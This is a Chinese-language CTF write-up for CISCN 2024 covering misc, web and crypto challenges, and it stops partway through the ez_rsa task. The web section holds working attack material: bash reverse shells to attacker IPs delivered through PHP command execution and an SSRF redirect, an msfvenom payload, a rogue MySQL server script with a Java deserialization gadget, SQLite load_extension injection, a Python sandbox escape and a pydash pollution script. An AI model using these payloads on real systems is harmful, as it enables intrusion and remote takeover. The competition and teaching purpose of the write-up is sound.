2024 ciscn WP

一、MISC

1.火锅链观光打卡

打开后连接自己的钱包,然后点击开始游戏,答题八次后点击获取NFT,得到有flag的图片

没什么多说的,知识问答题

兑换 NFT

Flag{y0u_ar3_hotpot_K1ng}

2.Power Trajectory Diagram

方法1:
使用py中的 numpy 和 pandas 库读取 npz文件 并保存为csv文件,代码如下:
import numpy as np
import pandas as pd
np.set_printoptions(threshold=np.inf)
a1 = np.load('attachment.npz', allow_pickle=True)
print(a1.files)
print('read:', a1)
index = a1['index']
myin = a1['input']
myout = a1['output']
mytra = a1['trace']
# print(mytra.shape)
df = pd.DataFrame(mytra)
df.to_csv('data1.csv', index=False)
df1 = pd.DataFrame({'index':index, 'input': myin})
df1.to_csv('data2.csv', index=False)
得到data1.csv、data2.csv,合并得到data.csv。
打开data.csv,可以看到功耗数据,根据https://zhuanlan.zhihu.com/p/157585244,我认为该题的关键是在于找到与其它字符不同的字符,就是该index的正确密码。
基于此,利用Excel的折线图功能,例如第四个字符,如图所示:
在这里插入图片描述

可以看出,有一条绿色线与其它线都不同,为c,所以第四个字符就是c。

依次重复,得到整个密钥:_ciscn_2024_

即flag:flag{_ciscn_2024_}

方法2:
测试代码:
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
matplotlib.use('tkAgg')
data = np.load("./attachment.npz")
print(data.files)
aa = data[data.files[0]]
bb = data[data.files[1]]
cc = data[data.files[2]]
dd = data[data.files[3]]
print(len(aa), aa)
print(len(bb), bb)
print(len(cc), cc)
print(len(dd), dd)
for i in range(len(dd)):
plt.scatter([i for i in range(len(dd[i]))], dd[i])
plt.show()
从 npz 文件中提取到四个文件的值,output 为空,其他 3 个文件提取的数组长度都是 520,根据   index 每 40 个可得出一个明文,大致判断共有 13 个明文。
input是一个表
output 为空
trace 里的数据都是小数
尝试对 trace 里的数据画点图:
发现每组数据的最大值有很多点,最小值的点只有几个,所以我们尝试找出trace每组数据的最小值的下标:
import numpy as np
data = np.load("./attachment.npz")
dd = data[data.files[3]]
for i in range(len(dd)):
min_index = np.argmin(dd[i])
print(f"Minimum index for group {i}: {min_index}")
除了最后一组数据全为 985,其余数据中都有其他不同的数字
用每四十组数据的最小值的下标再画一次图分析,发现最大值只有一个,所以我们需要继续找最大值的下标,然后再从input表中获取对应的字符即可:
exp:
import numpy as np
import matplotlib.pyplot as plt
f = np.load('./attachment.npz')
index = f['index']
ip = f['input']
tr = f['trace']
flag = ""
for _ in range(13):
t = []
table = ip[40*_:40*(_+1)]
for i in range(40):
# 每个列表画一个散点图,发现最小值
# plt.scatter([i for i in range(len(tr[_*40+i]))], tr[_*40+i])
# plt.show()
# 获取该列表的最小值的下标
min = np.argmin(tr[_*40+i])
# 将最小值的下标插入新列表
t.append(min)
# 用 40 个列表的最小值的下标作为数据,画图,发现有最大值
for i in range(len(t)):
plt.scatter([i for i in range(len(t))], np.array(t))
plt.show()
# 求最大值的下标
mins = np.argmax(t)
# 用下标从表里取字符
ind = table[mins]
# 把字符加到flag里
flag += ind
print(flag)
得到:_ciscn_2024_a
由于前面最后一组数据全是 985,因此最后一组数据得出的 a 不算
去掉 a 得到最终flag为:flag{_ciscn_2024_}

3.神秘的文件

方法1:
究极套娃,看的眼睛都要花了,真就纯找。得到PPT文件,直接改后缀为.zip去找
part1
在docProps目录下的两个xml中,app.xml提示了解密算法,core.xml提示了密文和密钥key,直接上赛博
image
image
part2
在ppt/embeddings文件夹下的docx中,从PPT打开的话就是第二章左上角那块黑色的,双击就行,打开后全选,改字体大小,改颜色,凯撒偏移量10解密,然后base64解密,得到part2
image
image
part3
在vbaProject.bin中,这个真的找了好久,后来也是网上搜得到说ppt隐写可能跟宏和宏脚本有关系,叫VBA工程解密。先010打开vbaProject.bin,找DPB字节,把最后一位改成x,然后保存,之后改后缀为.zip,直接打开会发现其中内涵的文件,打开VBA文件夹下的模块一
image
发现一段密文,不知道是啥但是提示是base64之后的,那就先解密呗,然后得到乱码,一般这种特殊字符多的不是RC4就是rot,最后发现是无密码RC4解密,然后再解一层base64
image
part4
直接打开PPT(因为它是由media文件夹下的图片拼成的),第三张,好像是要选可见隐藏字符,因为我电脑自动默认选的所以直接可以看,base64解码
image
part5
是在第五章ppt的注释中,直接赛博厨师帽跑,多层base64解码,得到第五部分
image
part6
是在第五张PPT正文边界的左上角,把它界面缩放或者直接拆media文件夹都可以,base64解码
image
part7
是在ppt\slides下的slides4.xml中,id4的位置,下面提示rot13 all,暗示包括number,base64解码
image
part8
在slideLayout2.xml中,南平,最开始没理解最后是啥意思,连一起了才看懂。。。。,就是要除去上面字符串中的Bb13。。。然后base64解码
image
image
part9
直接在media文件夹下,看那个猫人的图片左下角,base64解码
image
part10
在comment1.xml中,维吉尼亚解码,密钥是furry
image
总之最后flag是flag{e675efb3-346f-405f-90dd-222b387edee9} 
方法2:
先是一些简单容易找到的,按照提示规则进行 base64、维吉尼亚、凯撒等解码即可
PPT 里面找到了很多东西:
改zip后缀,在 world 文档里有发现:
图片:
总共可以得到:
part2:675efb
Payt4:6f-40
pArt5:5f-90d
ParT6:d-2
parT9:deH
PARt10:9}
下面的一些就需要更加仔细了:
在压缩包里找到了二进制文件
i13POMdzEAzHfy4dGS+vUA==
这里是 base64+RC4+base64
得到 PArt3:3-34
ppt 文件属性:
密文:QFCfpPQ6ZymuM3gq
加密方式:bifld 
Key:lanjing;
得到Part1:flag{e
ppt母版:
去掉Bb13后解 base64
得到 paRt8:87e
选择窗格:
Rot13+base64
得到PART7=22b3
拼接得到最终 flag:
flag{e675efb3-346f-405f-90dd-222b387edee9}

4.大学生安全测试能力调研问卷

填问卷

5.通风机

方法1:
得到mwp文件,010打开补全前三位文件头,使用V4.0 STEP 7 MicroWIN SP9打开,每个地方都看看,之前没见过,最后在符号表中找到flag
image
base64解码后得到flag
image
方法2:
使用 binwalk 可以分离出一个zlib文件,使用python解压,代码如下:
import zlib
def decompress_zlib_file(input_filename, output_filename):
with open(input_filename, 'rb') as compressed_file:
compressed_data = compressed_file.read()
decompressed_data = zlib.decompress(compressed_data)
with open(output_filename, 'wb') as output_file:
output_file.write(decompressed_data)
# Example usage
input_file = '35.zlib'
output_file = 'decompressed_data.txt'
decompress_zlib_file(input_file, output_file)
用Winhex 打开 decompressed_data.txt,可以看到经过base64编码后的flag。
在这里插入图片描述
解码得到flag:
在这里插入图片描述

6.盗版软件

两个文件

第一个dmp改后缀为data,用gimp2调一下参数得到域名

winhack.com

之后找ip,微步找释放文件

dump下来,loader没啥用,看output.png

发现有个zip,提取出来

发现是base85,解密之后,觉得是shellcode,改后缀为bin放微步跑得到ip

winhack.com39.100.72.235

7.DNS

发现域名很多二进制,提取出来转二维码,CQR扫一下

得到一段密码

之后继续看

发现有两种流

dns.id==0x6421
dns.id==0x4500

分别提取,一个得到压缩包,压缩包用二维码得到的解密

另一个得到乱码,file一下发现压缩包得到是pgp

不知道key,看题目描述,经过尝试发现rev+hex+rev可以成功import

之后把乱码文件处理一下,decrypt

二、WEB

1.Simple_php

题目描述:小明在学习CTF的过程中遇到了一道PHP的题目,以他有限的水平做不出来,可以帮帮他吗?
直接给了源码
image-20240518112723996
paste或者rev可以读文件
发现一个异常情况,具有mysql用户,或许可以从这里入手
image-20240518112905906
看出mysql服务开启
cmd=mysql --version
image-20240518115837118
ps -aux命令执行结果可以确认靶机有mysql服务
同时根目录下没有flag
BURP发包
cmd=l%0as /
image-20240518113950815
为了命令执行不受限,反弹shell。这里有一个小细节就是弹shell前的不可见字符是为了hex2bin函数能够成功执行。因为ban了引号,变量类型自动判断,如果十六进制开头是数字那么我设置的变量$a会被判断为数字,从而报错无法执行。
cmd=php -r $a=ff3b62617368202d63202262617368202d69203e26202f6465762f7463702f3132302e34362e34312e3137332f3930323320303e2631223b;system(hex2bin($a));
image-20240518134618734
mysql -uroot -proot -e "show databases;"
mysql -uroot -proot -e "use PHP_CMS;show tables;"
mysql -uroot -proot -e "use PHP_CMS;SELECT * FROM F1ag_Se3Re7;"
image-20240518134518410

2.easycms

题目描述:简单的cms,可以扫扫看?
hint:
提示1: /flag.php: 
if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
echo "Just input 'cmd' From 127.0.0.1";
return;
}else{
system($_GET['cmd']);
}
提示2:github找一下源码?
敏感目录:
/flag.php
/install.php
/Readme.txt
/Readme.txt是乱码,在线恢复一下
image-20240518134956796
迅睿CMS官方下载地址:https://www.xunruicms.com/down/
#### 安装路径
将网站运行目录(主目录)设置为:public(如果没有就忽略设置�?
安装环境监测�?/test.php
程序安装地址�?/install.php
后台登录地址�?/admin****.php�?****是随机的�?
重置后台地址:https://www.xunruicms.com/doc/1097.html
首次使用方法:https://www.xunruicms.com/doc/631.html
#### 运行环境
Laravel内核:PHP8.0及以�?
ThinkPHP内核:PHP7.4及以�?
CodeIgniter内核:PHP7.4及以�?
CodeIgniter72内核:PHP7.2及以�?
MySQL数据库:MySQL5及以上,推荐5.7及以�?
#### 内核切换方法
https://www.xunruicms.com/doc/1246.html
无法重新安装
image-20240518140745852
hint的源码告诉我们flag.php存在ssrf,可以直接getshell。源码在github上。GitHub - dayrui/xunruicms: 迅睿CMS框架由PHP+MySQL+Codeigniter架构,基于MIT开源协议发布,免费且不限制商业使用,允许开发者自由修改前后台界面中的版权信息。
信息搜集,存在一个已知的ssrf迅睿CMS漏洞公示,四川迅睿云软件开发有限公司厂商的漏洞列表 (xunruicms.com)
image-20240518201503234
定位到源码路径xunruicms-master\dayrui\Fcms\Control\Api\Api.php的qrcode函数
thumb参数可控
image-20240519182749703
定位xunruicms-master\dayrui\Fcms\Core\Helper.php
dr_catcher_data函数存在SSRF
image-20240519182910561
302.php,拿不到回显所以只能反弹shell
<?php
//header("HTTP/1.1 302 found"); 
//header("Location:http://127.0.0.1:1337/flag");
//header("Location:file:///etc/passwd");
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.46.41.173%2F9023%200%3E%261%22");
exit();
?>
payload:
/index.php?s=api&c=api&m=qrcode&text=111&size=111&level=1&thumb=http://120.46.41.173/Jay17/302.php
image-20240518164531870

3.easycms_revenge

和上题一样,改一下302.php的内容
GIF89a
<html>
<?php
header("Location:http://127.0.0.1/flag.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F124.222.136.33%2F1337%200%3E%261%22");?>
</html>
这里注意细节,靶机发了两次请求,第一次我们就返回一个正常的图片,第二次请求就发一个302,php代码块要用html标签包裹

4.ezjava

/app/BOOT-INF/lib下删了jackson,不然就能直接打POJONode
依赖里有AspectJWeaver,打任意文件写入
https://blog.csdn.net/uuzeray/article/details/136595841
后续还可以配合sqlite加载恶意so文件
https://github.com/Y4tacker/JavaSec/blob/main/9.JDBC%20Attack/SQLite/index.md
然后AJ链子的入口要调用map.put
自定义类UserBean#readObject就可以配合利用
最终思路就是先mysql打入恶意反序列化数据写入so文件,再sqlite加载恶意so文件
生成恶意so文件
msfvenom -p linux/x64/exec CMD='echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEi|base64 -d|bash' -f elf-so -o evil.so
将生成的恶意序列化数据写入output.ser
package com.example.jdbctest.exp;
import com.example.jdbctest.bean.UserBean;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Base64;
public class EXP {
// 获取指定类的第一个构造函数,并设置为可访问
public static Constructor<?> getCtor(final String name) throws Exception {
final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0];
ctor.setAccessible(true);
return ctor;
}
// 创建一个UserBean对象,将evil.so的内容Base64编码后存入UserBean中
public static Object getObject() throws Exception {
String filename = "../../../../../../../../../../../../tmp/evil.so"; // 路径指向/tmp/evil.so
Path filePath = Paths.get("C:\\Users\\21135\\Desktop\\ciscnjava\\src\\main\\java\\com\\example\\jdbctest\\exp\\evil.so"); // 假设evil.so位于当前目录
byte[] fileBytes = Files.readAllBytes(filePath); // 读取文件字节
String content = Base64.getEncoder().encodeToString(fileBytes); // 将文件内容Base64编码
UserBean bean = new UserBean(filename, content); // 创建UserBean实例
Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Object simpleCache = ctor.newInstance(".", 12); // 实例化一个SimpleCache对象
bean.setObj(simpleCache); // 将SimpleCache对象设置为UserBean的obj属性
return bean;
}
// 序列化一个对象到字节数组
public static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(object);
oos.close();
return baos.toByteArray();
}
// 主函数,序列化对象并将其写入文件
public static void main(String[] args) throws Exception {
byte[] serialized = serialize(getObject()); // 序列化对象
String fileName = "output.ser"; // 输出文件名
// 使用FileOutputStream将字节数据写入文件
FileOutputStream fos = new FileOutputStream(fileName);
fos.write(serialized);
fos.close(); // 关闭文件输出流
}
}
起一个恶意mysql服务,回包为恶意序列化数据
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
file= r'output.ser'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟  1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢??
# //获取payload
payload_content=get_payload_content()
# //计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# //计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
先利用mysql打AJ链子,写入恶意so文件
{
"type":"1",
"url":"jdbc:mysql://124.222.136.33:3309/a?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
}
再打sqlite,指定tableName,加载写入的恶意so文件,反弹shell
{
"type":"3",
"tableName":"(select (load_extension(\"/tmp/evil.so\")));",
"url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"
}
根目录下拿到flag

5.mossfern

考的python栈帧沙箱逃逸,获取到外部的栈帧,就可以用f_globals去获取沙箱外的全局变量
https://xz.aliyun.com/t/13635
https://zer0peach.github.io/2024/04/29/python%E6%A0%88%E5%B8%A7%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/
最后注意要将获取的变量元组转字符串,再用逗号分隔,依次输出,从而绕过seed
def getflag():
def f():
yield g.gi_frame.f_back
g = f()
frame=[x for x in g][0]
gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']
code = frame.f_back.f_back.f_back.f_code
dir = gattr.dir
str = gattr.str
print(dir(code))
for i in str(code.co_consts):
print(i,end=",")
getflag()

6.sanic

sanic 是一个类似flask的web框架
扫目录
访问./src
from sanic import Sanic
from sanic.response import text, html
from sanic_session import Session
import pydash
# pydash==5.1.2
class Pollute:
def __init__(self):
pass
app = Sanic(__name__)
app.static("/static/", "./static/")
Session(app)
@app.route('/', methods=['GET', 'POST'])
async def index(request):
return html(open('static/index.html').read())
@app.route("/login")
async def login(request):
user = request.cookies.get("user")
if user.lower() == 'adm;n':
request.ctx.session['admin'] = True
return text("login success")
return text("login fail")
@app.route("/src")
async def src(request):
return text(open(__file__).read())
@app.route("/admin", methods=['GET', 'POST'])
async def admin(request):
if request.ctx.session.get('admin') == True:
key = request.json['key']
value = request.json['value']
if key and value and type(key) is str and '_.' not in key:
pollute = Pollute()
pydash.set_(pollute, key, value)
return text("success")
else:
return text("forbidden")
return text("forbidden")
if __name__ == '__main__':
app.run(host='0.0.0.0')
sanic可以通过用八进制adm\073n绕过cookie
COOKIE_NAME_RESERVED_CHARS = re.compile(
'[\x00-\x1F\x7F-\xFF()<>@,;:\\\\"/[\\]?={} \x09]'
)
OCTAL_PATTERN = re.compile(r"\\[0-3][0-7][0-7]")
QUOTE_PATTERN = re.compile(r"[\\].")
在绕过admin后可以打pydash原型链污染,waf掉了_.
pydash有这样一段处理
def to_path_tokens(value):
"""Parse `value` into :class:`PathToken` objects."""
if pyd.is_string(value) and ("." in value or "[" in value):
# Since we can't tell whether a bare number is supposed to be dict key or a list index, we
# support a special syntax where any string-integer surrounded by brackets is treated as a
# list index and converted to an integer.
keys = [
PathToken(int(key[1:-1]), default_factory=list)
if RE_PATH_LIST_INDEX.match(key)
else PathToken(unescape_path_key(key), default_factory=dict)
for key in filter(None, RE_PATH_KEY_DELIM.split(value))
]
elif pyd.is_string(value) or pyd.is_number(value):
keys = [PathToken(value, default_factory=dict)]
elif value is UNSET:
keys = []
else:
keys = value
return keys
def unescape_path_key(key):
"""Unescape path key."""
key = key.replace(r"\\", "\\")
key = key.replace(r"\.", r".")
return key
这段代码主要包含了两个函数,to_path_tokens 和 unescape_path_key,用于解析和处理数据结构路径的表达式。这些函数可能是用于操作如 JSON 或嵌套字典这样的复杂数据结构。下面是对这两个函数的总结:
1. to_path_tokens 函数
目的:将输入的 value 转换为 PathToken 对象的列表,这些对象表示数据结构中的路径点。
处理逻辑:
对字符串形式的路径进行分解,处理点(.)和方括号([)来区分不同的路径段。
根据路径段的内容,区分处理为列表索引或字典键。
对特定字符串进行类型转换(如字符串形式的数字转为整数索引)。
使用正则表达式帮助分割和识别路径中的关键部分。
2. unescape_path_key 函数
目的:处理路径键中的转义字符,将转义序列转换为对应的实际字符。
实现细节:
替换路径键中的双反斜杠 (\\) 为单反斜杠 (\)。
替换路径键中的转义点 (\.) 为点 (.)。
给出脚本:
import requests
url = 'http://a053bd54-eb02-452c-af3f-299070f3fd84.challenge.ctf.show'
s = requests.Session()
s.cookies.update({
'user': '"adm\\073n"'
})
s.get(url + '/login')
# 开启目录浏览
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory_view", "value": True}
# 污染目录路径
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\.static.handler.keywords.directory_handler.directory._parts", "value": ['/']}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# 获取flag路径
# r = s.get(url + '/static/')
# print(r.text)
#污染__file__,读取flag
# data = {"key": "__class__\\\\.__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag"}
# r = s.post(url + '/admin', json=data)
# print(r.text)
# print(s.get(url + '/src').text)

三、Crypto

1、OvO

题目描述
from Crypto.Util.number import *
from secret import flag
nbits = 512
p = getPrime(nbits)
q = getPrime(nbits)
n = p * q
phi = (p-1) * (q-1)
while True:
kk = getPrime(128)
rr = kk + 2
e = 65537 + kk * p + rr * ((p+1) * (q+1)) + 1
if gcd(e, phi) == 1:
break
m = bytes_to_long(flag)
c = pow(m, e, n)
e = e >> 200 << 200
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
"""
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
"""
给的 e 其实就是 d,只是结果是移位后的输出,n 很大无法分解,但 kk 与 rr 很小,由 rr= e//n 即可推出 rr 和 kk,又由 e + x + kk*p + rr*((p+1)* (q+1))+ 1 = 65537,将 × 设为 0 和 2^200 然后联立求解一元二次方程,就能求出 p, q 的上下界,这样就有p 和q 的高位,枚举未知位尝试coppersmith 直到分解出结果,最后代入求 e 和 d,进而求得flag。
cop 攻击,exp:
# SageMath script to factor n and decrypt the message
n = 111922722351752356094117957341697336848130397712588425954225300832977768690114834703654895285440684751636198779555891692340301590396539921700125219784729325979197290342352480495970455903120265334661588516182848933843212275742914269686197484648288073599387074325226321407600351615258973610780463417788580083967
e = 37059679294843322451875129178470872595128216054082068877693632035071251762179299783152435312052608685562859680569924924133175684413544051218945466380415013172416093939670064185752780945383069447693745538721548393982857225386614608359109463927663728739248286686902750649766277564516226052064304547032760477638585302695605907950461140971727150383104
c = 14999622534973796113769052025256345914577762432817016713135991450161695032250733213228587506601968633155119211807176051329626895125610484405486794783282214597165875393081405999090879096563311452831794796859427268724737377560053552626220191435015101496941337770496898383092414492348672126813183368337602023823
def partial_p(p0, n, bits):
PR.<x> = PolynomialRing(Zmod(n))
f = p0 + x
f = f.monic()
roots = f.small_roots(X=2^(bits+5), beta=0.3)
if roots:
x0 = roots[0]
p = gcd(p0 + x0, n)
return ZZ(p)
def find_p(eh, n, bits):
RR = RealField(1000)
PR.<x> = PolynomialRing(RR)
f = (kk+rr)*x**2 + (rr*(n+1)+65538)*x + rr*n - eh*x
results = f.roots()
if results:
for x in results:
p_high = int(x[0]) >> 4 << 4
p = partial_p(p_high, n, bits)
if p and p != 1:
return p
# Calculating rr and kk based on given e and n
rr = e // n
kk = rr - 2
# Finding p
p = find_p(e, n, 200)
if p:
q = n // p
phi_n = (p - 1) * (q - 1)
# Computing the new e based on kk and rr
new_e = 65537 + kk * p + rr * ((p + 1) * (q + 1)) + 1
# Computing the private key d
d = inverse_mod(new_e, phi_n)
# Decrypting the ciphertext
m = power_mod(c, d, n)
print(bytes.fromhex(hex(m)[2:]))
else:
print("Failed to find p.")
拿到 flag{b5f771c6-18df-49a9-9d6d-ee7804f5416c}

2、古典密码

密文:AnU7NnR4NassOGp3BDJgAGonMaJayTwrBqZ3ODMoMWxgMnFdNqtdMTM9
三层解密:埃特巴什+base64+栅栏
拿到 flag{b2bb0873-8cae-4977-a6de-0e298f0744c3}

3.ez_rsa

题目描述:
ezrsa.py:
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
from secret import flag
m = bytes_to_long(flag)
key = RSA.generate(1000)
passphrase = str(random.randint(0,999999)).zfill(6).encode()
output = key.export_key(passphrase=passphrase).split(b'\n')
for i in range(7, 15):
output[i] = b'*' * 64
with open("priv.pem", 'wb') as f:
for line in output:
f.write(line + b'\n')
with open("enc.txt", 'w') as f:
f.write(str(key._encrypt(m)))
enc.txt:
